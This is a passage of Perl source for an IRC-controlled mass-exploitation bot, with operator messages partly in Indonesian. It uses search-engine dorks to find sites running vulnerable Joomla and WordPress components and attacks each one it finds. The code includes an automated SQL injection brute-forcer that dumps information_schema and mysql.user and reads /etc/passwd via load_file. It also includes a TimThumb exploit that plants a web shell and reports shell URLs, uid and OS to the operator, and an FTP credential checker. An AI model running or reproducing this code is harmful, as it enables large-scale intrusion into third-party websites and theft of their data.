  608. my $simpan = $nick;
  609. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan ReFlex Gallery di 4$path ");
  610. &msg("$path","$reflexlogo9Dork $dork ");
  611. &msg("$path","$reflexlogo9Search Engine Now Loading ... ");
  612. &msg("$path","$reflexlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  613. sendraw("MODE $path +m");
  614. &se_start($path,$bug,$simpan,$dork,$engine,22);
  615. }
  616. }
  617. }
  618.  
  619. if ($msg =~ /^$coldfusioncmd\s+(.*)/) {
  620. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  621. my ($bug,$dork) = ("/wp-content/themes/ColdFusion/includes/uploadify/upload_settings_image.php",$1);
  622. my $simpan = $nick;
  623. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Coldfusion di 4$path ");
  624. &msg("$path","$coldfusionlogo9Dork $dork ");
  625. &msg("$path","$coldfusionlogo9Search Engine Now Loading ... ");
  626. &msg("$path","$coldfusionlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  627. sendraw("MODE $path +m");
  628. &se_start($path,$bug,$simpan,$dork,$engine,26);
  629. }
  630. }
  631. }
  632.  
  633. if ($msg =~ /^$mmformcmd\s+(.*)/) {
  634. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  635. my ($bug,$dork) = ("/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php",$1);
  636. my $simpan = $nick;
  637. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan mmform di 4$path ");
  638. &msg("$path","$mmformlogo9Dork $dork ");
  639. &msg("$path","$mmformlogo9Search Engine Now Loading ... ");
  640. &msg("$path","$mmformlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  641. sendraw("MODE $path +m");
  642. &se_start($path,$bug,$simpan,$dork,$engine,23);
  643. }
  644. }
  645. }
  646. if ($msg =~ /^$phpvmscmd\s+(.*)/) {
  647. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  648. my ($bug,$dork) = ("/core/lib/php-ofc-library/ofc_upload_image.php",$1);
  649. my $simpan = $nick;
  650. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan PhpVms di 4$path ");
  651. &msg("$path","$phpvmslogo9Dork $dork ");
  652. &msg("$path","$phpvmslogo9Search Engine Now Loading ... ");
  653. &msg("$path","$phpvmslogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  654. sendraw("MODE $path +m");
  655. &se_start($path,$bug,$simpan,$dork,$engine,21);
  656. }
  657. }
  658. }
  659.  
  660. if ($msg =~ /^$maiancmd\s+(.*)/) {
  661. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  662. my ($bug,$dork) = ("/administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php",$1);
  663. my $simpan = $nick;
  664. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Maianmedia di 4$path ");
  665. &msg("$path","$maianlogo9Dork $dork ");
  666. &msg("$path","$maianlogo9Search Engine Now Loading ... ");
  667. &msg("$path","$maianlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  668. sendraw("MODE $path +m");
  669. &se_start($path,$bug,$simpan,$dork,$engine,16);
  670. }
  671. }
  672. }
  673. if ($msg =~ /^$civicrmcmd\s+(.*)/) {
  674. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  675. my ($bug,$dork) = ("/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php",$1);
  676. my $simpan = $nick;
  677. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Civicrm di 4$path ");
  678. &msg("$path","$civicrmlogo9Dork $dork ");
  679. &msg("$path","$civicrmlogo9Search Engine Now Loading ... ");
  680. &msg("$path","$civicrmlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  681. sendraw("MODE $path +m");
  682. &se_start($path,$bug,$simpan,$dork,$engine,17);
  683. }
  684. }
  685. }
  686. if ($msg =~ /^$lettercmd\s+(.*)/) {
  687. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  688. my ($bug,$dork) = ("/administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php",$1);
  689. my $simpan = $nick;
  690. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan letter di 4$path ");
  691. &msg("$path","$letterlogo9Dork $dork ");
  692. &msg("$path","$letterlogo9Search Engine Now Loading ... ");
  693. &msg("$path","$letterlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  694. sendraw("MODE $path +m");
  695. &se_start($path,$bug,$simpan,$dork,$engine,18);
  696. }
  697. }
  698. }
  699. if ($msg =~ /^$livecartcmd\s+(.*)/) {
  700. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  701. my ($bug,$dork) = ("/library/openFlashChart/ofc_upload_image.php",$1);
  702. my $simpan = $nick;
  703. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Live Cart di 4$path ");
  704. &msg("$path","$livecartlogo9Dork $dork ");
  705. &msg("$path","$livecartlogo9Search Engine Now Loading ... ");
  706. &msg("$path","$livecartlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  707. sendraw("MODE $path +m");
  708. &se_start($path,$bug,$simpan,$dork,$engine,24);
  709. }
  710. }
  711. }
  712. if ($msg =~ /^$maian15cmd\s+(.*)/) {
  713. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  714. my ($bug,$dork) = ("/administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php",$1);
  715. my $simpan = $nick;
  716. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Maian15 di 4$path ");
  717. &msg("$path","$maian15logo9Dork $dork ");
  718. &msg("$path","$maian15logo9Search Engine Now Loading ... ");
  719. &msg("$path","$maian15logo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  720. sendraw("MODE $path +m");
  721. &se_start($path,$bug,$simpan,$dork,$engine,23);
  722. }
  723. }
  724. }
  725.  
  726. if ($msg =~ /^$acycmd\s+(.*)/) {
  727. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  728. my ($bug,$dork) = ("/administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php",$1);
  729. my $simpan = $nick;
  730. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Acymailing di 4$path ");
  731. &msg("$path","$acylogo9Dork $dork ");
  732. &msg("$path","$acylogo9Search Engine Now Loading ... ");
  733. &msg("$path","$acylogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  734. sendraw("MODE $path +m");
  735. &se_start($path,$bug,$simpan,$dork,$engine,15);
  736. }
  737. }
  738. }
  739.  
  740. if ($msg =~ /^$jinccmd\s+(.*)/) {
  741. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  742. my ($bug,$dork) = ("/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php",$1);
  743. my $simpan = $nick;
  744. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan JINC di 4$path ");
  745. &msg("$path","$jinclogo9Dork $dork ");
  746. &msg("$path","$zinclogo9Search Engine Now Loading ... ");
  747. &msg("$path","$jincologo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  748. sendraw("MODE $path +m");
  749. &se_start($path,$bug,$simpan,$dork,$engine,14);
  750. }
  751. }
  752. }
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759.  
  760. if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  761. my $url = $_[0];
  762. my $host = $_[1];
  763. my $user = $_[2];
  764. my $pass = $_[3];
  765. if (my $pid = fork) {
  766. waitpid($pid, 0);
  767. } else {
  768. if (fork) { exit; } else {
  769. my ($host,$user,$pass) = ($1,$2,$3);
  770. &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  771. my $success = 1;
  772. use Net::FTP;
  773. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  774. $success = 0 if $ftp->login($user,$pass);
  775. $ftp->quit;
  776. if ($success == 0) {
  777. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  778. } else {
  779. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  780.  
  781. }
  782. }
  783. }
  784. }
  785. }
  786. }
  787. for(my $c=0; $c<= $#lines; $c++) {
  788. $line = $lines[$c];
  789. $line = $line_temp.$line if ($line_temp);
  790. $line_temp = '';
  791. $line =~ s/\r$//;
  792. unless ($c == $#lines) {
  793.  
  794. parse("$line");
  795. } else {
  796. if ($#lines == 0) {
  797. parse("$line");
  798. } elsif ($lines[$c] =~ /\r$/) {
  799. parse("$line");
  800. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  801. parse("$line");
  802. } else {
  803. $line_temp = $line;
  804. }
  805. }
  806. }
  807. }
  808. }
  809.  
  810. ##################################################################################
  811.  
  812. sub type() {
  813. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  814. if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}
  815. elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}
  816. elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  817. elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}
  818. elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  819. elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}
  820. elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}
  821. elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}
  822. elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}
  823. elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}
  824. elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}
  825. elsif ($type == 12){$type=&jnews_exploit($chan,$bug,$simpan,$dork,$engine);}
  826. elsif ($type == 13){$type=&jce_exploit($chan,$bug,$simpan,$dork,$engine);}
  827. elsif ($type == 14){$type=&jinc_exploit($chan,$bug,$simpan,$dork,$engine);}
  828. elsif ($type == 15){$type=&acy_exploit($chan,$bug,$simpan,$dork,$engine);}
  829. elsif ($type == 16){$type=&maian_exploit($chan,$bug,$simpan,$dork,$engine);}
  830. elsif ($type == 17){$type=&civicrm_exploit($chan,$bug,$simpan,$dork,$engine);}
  831. elsif ($type == 18){$type=&letter_exploit($chan,$bug,$simpan,$dork,$engine);}
  832. elsif ($type == 19){$type=&clipbucket_exploit($chan,$bug,$simpan,$dork,$engine);}
  833. elsif ($type == 20){$type=&redmistyc_exploit($chan,$bug,$simpan,$dork,$engine);}
  834. elsif ($type == 21){$type=&phpvms_exploit($chan,$bug,$simpan,$dork,$engine);}
  835. elsif ($type == 22){$type=&reflex_exploit($chan,$bug,$simpan,$dork,$engine);}
  836. elsif ($type == 23){$type=&maian15_exploit($chan,$bug,$simpan,$dork,$engine);}
  837. elsif ($type == 24){$type=&livecart_exploit($chan,$bug,$simpan,$dork,$engine);}
  838. elsif ($type == 25){$type=&switchblade_exploit($chan,$bug,$simpan,$dork,$engine);}
  839. elsif ($type == 26){$type=&coldfusion_exploit($chan,$bug,$simpan,$dork,$engine);}
  840. elsif ($type == 27){$type=&joomleague_exploit($chan,$bug,$simpan,$dork,$engine);}
  841. elsif ($type == 28){$type=&photostore_exploit($chan,$bug,$simpan,$dork,$engine);}
  842. elsif ($type == 29){$type=&sql_exploit($chan,$bug,$simpan,$dork,$engine);}
  843. elsif ($type == 30){$type=&pointofsale_exploit($chan,$bug,$simpan,$dork,$engine);}
  844.  
  845. }
  846.  
  847. ##################################################################################
  848.  
  849. sub se_start() {
  850. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  851. if ($gps == 1) {
  852. if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }
  853. if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }
  854. if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }
  855. if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }
  856. if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }
  857. if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }
  858. if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }
  859. if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }
  860. if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }
  861. if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }
  862. if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }
  863. if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }
  864. if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKES",$type); } exit; } }
  865. if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }
  866. if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }
  867. if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }
  868. if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKID",$type); } exit; } }
  869. if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }
  870. if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }
  871. if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }
  872. if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }
  873. if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }
  874. if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }
  875. if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }
  876. if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }
  877. if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }
  878. if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }
  879. if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }
  880. if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }
  881. if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }
  882. if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }
  883. if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }
  884. if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }
  885. if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }
  886. if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }
  887. if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }
  888. if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }
  889. if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }
  890. if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }
  891. if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }
  892. }
  893. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
  894.  
  895.  
  896.  
  897. if ($gps2 ==1) {
  898. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }
  899. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
  900. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
  901. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
  902. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }
  903. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }
  904. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
  905. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
  906. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
  907. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }
  908. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
  909. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
  910. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
  911. }
  912. }
  913.  
  914.  
  915. ###### EXPLOITING #######
  916.  
  917. sub sql_exploit() {
  918. my $chan = $_[0];
  919. my $bug = $_[1];
  920. my $simpan = $_[2];
  921. my $dork = $_[3];
  922. my $engine = $_[4];
  923. my $count = 0;
  924. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
  925. my $num = scalar(@totexploit);
  926. if ($num > 0){
  927. foreach my $site(@totexploit){
  928. $count++;
  929. if ($count == $num-1) { &msg("$chan","$sqllogo15$engine 9Finished 15for 9$dork "); }
  930.  
  931. my $test = "http://".$site.$bug."'";
  932. my $vuln = "http://".$site."12".$bug;
  933. my $sqlsite = "http://".$site.$bug;
  934. my $html = &get_content($test);
  935. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  936.  
  937. if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  938. &sqlbrute($sqlsite,$chan,$engine);}
  939.  
  940. elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  941. &msg("$chan","$sqllogo(4@3$engine15)15(7@12MsSQL15)4 ".$vuln);
  942. &sqlbrute($sqlsite,$chan,$engine);}
  943.  
  944. elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  945. &msg("$chan","$sqllogo(4@3$engine15)15(9@12MsAccess15)4 ".$vuln);
  946. &sqlbrute($sqlsite,$chan,$engine);}
  947.  
  948. elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  949. &sqlbrute($sqlsite,$chan,$engine);}
  950.  
  951.  
  952.  
  953. } exit; }
  954. }
  955. }
  956. }
  957.  
  958.  
  959.  
  960. sub sqlbrute() {
  961. my $situs=$_[0];
  962. my $chan =$_[1];
  963. my $engine=$_[2];
  964. my $columns=30;
  965. my $cfin.="--";
  966. my $cmn.= "+";
  967. for ($column = 0 ; $column < $columns ; $column ++)
  968. {
  969. $union.=','.$column;
  970. $inyection.=','."0x6c6f67696e70776e7a";
  971. if ($column == 0)
  972. {
  973. $inyection = '';
  974. $union = '';
  975. }
  976. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  977. $response=get($sql);
  978. if($response =~ /loginpwnz/)
  979. {
  980. $column ++;
  981. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  982. &msg("$chan","$sqllogo(4@3$engine15)15(4@12SQL15)9 $sql ");
  983. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  984. $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  985. if($response =~ /loginpwnz/)
  986. {
  987. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  988. &msg("$chan","$sqllogo(4@3$engine15)15(4@12SQL15)(4@14INFO_SCHEMA14)9 $sql ");
  989. }
  990. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  991. $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  992. if($response =~ /loginpwnz/)
  993. {
  994. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  995. &msg("$chan","$sqllogo(4@3$engine15)15(4@12SQL15)(4@14USER14)9 $sql ");
  996. }
  997. else
  998. {
  999. }
  1000. while ($loadcont < $column-1)
  1001. {
  1002. $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  1003. $loadcont++;
  1004. }
  1005. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  1006. $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  1007. if($response =~ /root:x:/)
  1008. {
  1009. &msg("$chan","0,1$sqllogo(4@3$engine15)15(4@12SQL15)(4@14Load File14)9 $sql ");
  1010. }
  1011. else
  1012. {
  1013. }
  1014. foreach $tabla(@tabele)
  1015. {
  1016. chomp($tabla);
  1017. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1018. $response=get($sql)or die("[-] Impossible to get tables\n");
  1019. if($response =~ /loginpwnz/)
  1020. {
  1021. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  1022. &msg("$chan","0,1$sqllogo(4@3$engine15)15(13@12SQL15)(4@14Tabel14)9 $sql ");
  1023. }
  1024. }
  1025. }
  1026. }
  1027. }
  1028.  
  1029. sub thumb_exploit() {
  1030. my $chan = $_[0];
  1031. my $bug = $_[1];
  1032. my $simpan = $_[2];
  1033. my $dork = $_[3];
  1034. my $engine = $_[4];
  1035. my $count = 0;
  1036. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1037. my $num = scalar(@totexploit);
  1038. if ($num > 0){
  1039. foreach my $site(@totexploit){
  1040. $count++;
  1041. if ($count == $num-1) { &msg("$chan","$thumblogo15$engine 9Finished 15for 9$dork "); }
  1042. my $vuln = "http://".$site.$bug;
  1043. my $cek = &get_content($vuln);sleep(1);
  1044. my $nama = $simpan;
  1045.  
  1046. if ($cek =~ /no image specified/i) {
  1047. &msg("$chan","$thumblogo(4@3$engine15)Exploiting 4http://$site");sleep(1);
  1048. my $hajar = "http://".$site.$bug."?src=".$thumbshell."";
  1049. my $cek = &get_content($hajar);sleep(1);
  1050.  
  1051. (my $kliverz = $bug)=~ s{/[^/]+\z}{};
  1052. my $vuln2 = "http://".$site.$kliverz.$folder1;
  1053. my $vuln3 = "http://".$site.$kliverz.$folder2;
  1054. my $vuln4 = "http://".$site.$kliverz.$folder3;
  1055. my $vuln5 = "http://".$site.$kliverz.$folder4;
  1056. my $vuln6 = "http://".$site.$folder5;
  1057.  
  1058. my $check1 = &get_content($vuln2);sleep(1);
  1059. my $check2 = &get_content($vuln3);sleep(1);
  1060. my $check3 = &get_content($vuln4);sleep(1);
  1061. my $check4 = &get_content($vuln5);sleep(1);
  1062. my $check5 = &get_content($vuln6);sleep(1);
  1063.  
  1064. if ($check1 =~ /GIF89a/) {
  1065. my $safe = ""; my $os = ""; my $uid = "";
  1066.  
  1067. if ($check1 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1068. if ($check1 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1069. if ($check1 =~ /uid=(.*?)gid=/){$uid=$1;}
  1070.  
  1071. &msg("$chan","$thumblogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1072. &msg("$nama","$thumblogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $vuln215 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1073.  
  1074. }
  1075.  
  1076. if ($check2 =~ /GIF89a/) {
  1077. my $safe = ""; my $os = ""; my $uid = "";
  1078.  
  1079. if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1080. if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
